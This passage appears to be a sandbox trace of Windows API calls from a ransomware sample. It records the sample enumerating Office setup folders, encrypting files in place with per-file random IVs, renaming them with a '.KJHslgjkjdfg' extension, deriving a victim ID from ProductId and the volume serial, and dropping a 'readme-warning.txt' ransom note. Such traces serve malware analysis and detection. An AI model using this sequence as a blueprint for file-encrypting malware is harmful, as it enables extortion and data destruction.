pdwDataLen=0x29ded48*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40) returned 1 [0164.891] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.891] WriteFile (in: hFile=0x114, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29ded60*=0x40, lpOverlapped=0x0) returned 1 [0164.891] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0164.891] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0164.891] WriteFile (in: hFile=0x114, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0164.891] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0164.891] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0164.891] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.892] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.892] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.892] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x32b, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x32b, lpOverlapped=0x0) returned 1 [0164.892] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x330, dwBufLen=0x330 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x330) returned 1 [0164.892] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.892] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x330, lpOverlapped=0x0) returned 1 [0164.892] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.892] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.892] SetEndOfFile (hFile=0x114) returned 1 [0164.895] GetProcessHeap () returned 0x990000 [0164.895] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0164.895] GetProcessHeap () returned 0x990000 [0164.895] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0164.896] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.kjhslgjkjdfg")) returned 1 [0164.899] CloseHandle (hObject=0x114) returned 1 [0164.899] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0164.899] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.900] GetProcessHeap () returned 0x990000 [0164.900] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0164.900] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0164.900] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0164.900] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0164.902] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.902] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.902] GetProcessHeap () returned 0x990000 [0164.902] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0164.902] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30) returned 1 [0164.903] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.903] WriteFile (in: hFile=0x114, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29ded60*=0x30, lpOverlapped=0x0) returned 1 [0164.903] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0164.903] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0164.903] WriteFile (in: hFile=0x114, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0164.903] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0164.903] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0164.904] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.904] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.904] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.904] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x16fc, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x16fc, lpOverlapped=0x0) returned 1 [0164.905] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x1700, dwBufLen=0x1700 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x1700) returned 1 [0164.905] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.905] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x1700, lpOverlapped=0x0) returned 1 [0164.905] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.905] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x17c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.905] SetEndOfFile (hFile=0x114) returned 1 [0164.908] GetProcessHeap () returned 0x990000 [0164.908] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0164.908] GetProcessHeap () returned 0x990000 [0164.908] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0164.908] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.kjhslgjkjdfg")) returned 1 [0164.911] CloseHandle (hObject=0x114) returned 1 [0164.912] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0164.912] GetProcessHeap () returned 0x990000 [0164.912] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0164.912] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.912] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29deb98 | out: pbData=0x9af7b0, pdwDataLen=0x29deb98) returned 1 [0164.912] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.912] GetProcessHeap () returned 0x990000 [0164.912] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0164.912] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.912] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29deb98 | out: pbData=0x9af7f8, pdwDataLen=0x29deb98) returned 1 [0164.912] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.912] GetProcessHeap () returned 0x990000 [0164.913] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9f9760 [0164.913] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.913] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9f9760, pdwDataLen=0x29deb98 | out: pbData=0x9f9760, pdwDataLen=0x29deb98) returned 1 [0164.913] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.913] GetProcessHeap () returned 0x990000 [0164.913] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0164.913] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.913] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29de778 | out: pbData=0x9af840, pdwDataLen=0x29de778) returned 1 [0164.913] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.913] GetProcessHeap () returned 0x990000 [0164.913] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0164.913] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.913] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de778 | out: pbData=0x9b18c8, pdwDataLen=0x29de778) returned 1 [0164.913] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.913] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de774 | out: phkResult=0x29de774*=0x114) returned 0x0 [0164.914] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29de780, lpcbData=0x29de77c*=0x400 | out: lpType=0x0, lpData=0x29de780*=0x30, lpcbData=0x29de77c*=0x18) returned 0x0 [0164.914] RegCloseKey (hKey=0x114) returned 0x0 [0164.914] GetProcessHeap () returned 0x990000 [0164.914] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0164.914] GetProcessHeap () returned 0x990000 [0164.914] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0164.914] GetProcessHeap () returned 0x990000 [0164.914] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0164.914] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.914] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de54c | out: pbData=0x9b18c8, pdwDataLen=0x29de54c) returned 1 [0164.914] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.914] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0164.914] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0164.915] GetProcessHeap () returned 0x990000 [0164.915] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0164.915] wsprintfA (in: param_1=0x29de797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0164.915] wsprintfA (in: param_1=0x29deba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0164.915] GetProcessHeap () returned 0x990000 [0164.915] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9f9b28 [0164.915] wsprintfW (in: param_1=0x29ddb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\readme-warning.txt") returned 113 [0164.915] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.918] WriteFile (in: hFile=0x114, lpBuffer=0x9f9b28*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29ddb70, lpOverlapped=0x0 | out: lpBuffer=0x9f9b28*, lpNumberOfBytesWritten=0x29ddb70*=0x3b3, lpOverlapped=0x0) returned 1 [0164.919] CloseHandle (hObject=0x114) returned 1 [0164.920] GetProcessHeap () returned 0x990000 [0164.920] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9760 | out: hHeap=0x990000) returned 1 [0164.920] GetProcessHeap () returned 0x990000 [0164.920] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9b28 | out: hHeap=0x990000) returned 1 [0164.920] GetProcessHeap () returned 0x990000 [0164.920] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0164.920] GetProcessHeap () returned 0x990000 [0164.920] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0164.920] FindClose (in: hFindFile=0x9b6668 | out: hFindFile=0x9b6668) returned 1 [0164.921] GetProcessHeap () returned 0x990000 [0164.921] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7e10 | out: hHeap=0x990000) returned 1 [0164.921] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName="PROPLUSR", cAlternateFileName="")) returned 1 [0164.921] GetProcessHeap () returned 0x990000 [0164.921] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xc2) returned 0x9b2468 [0164.921] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*.*", lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName=".", cAlternateFileName="")) returned 0x9b6668 [0164.927] GetProcessHeap () returned 0x990000 [0164.927] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0164.927] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="..", cAlternateFileName="")) returned 1 [0164.927] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x170fe40, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="ProPlusrWW.XML", cAlternateFileName="PROPLU~1.XML")) returned 1 [0164.927] GetProcessHeap () returned 0x990000 [0164.927] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2c4) returned 0x9b7e10 [0164.927] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.928] GetProcessHeap () returned 0x990000 [0164.929] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0164.929] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0164.929] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0164.929] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0xc, lpOverlapped=0x0) returned 1 [0164.931] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.931] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.931] GetProcessHeap () returned 0x990000 [0164.931] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0164.931] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40) returned 1 [0164.931] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.931] WriteFile (in: hFile=0x114, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29ded60*=0x40, lpOverlapped=0x0) returned 1 [0164.932] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0164.932] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0164.932] WriteFile (in: hFile=0x114, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0164.932] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0164.932] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0164.932] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.932] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.932] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.932] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x41d4, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x41d4, lpOverlapped=0x0) returned 1 [0164.934] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x41e0, dwBufLen=0x41e0 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x41e0) returned 1 [0164.934] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.934] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x41e0, lpOverlapped=0x0) returned 1 [0164.934] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.934] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x42b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.934] SetEndOfFile (hFile=0x114) returned 1 [0164.937] GetProcessHeap () returned 0x990000 [0164.937] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0164.937] GetProcessHeap () returned 0x990000 [0164.937] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0164.937] MoveFileW 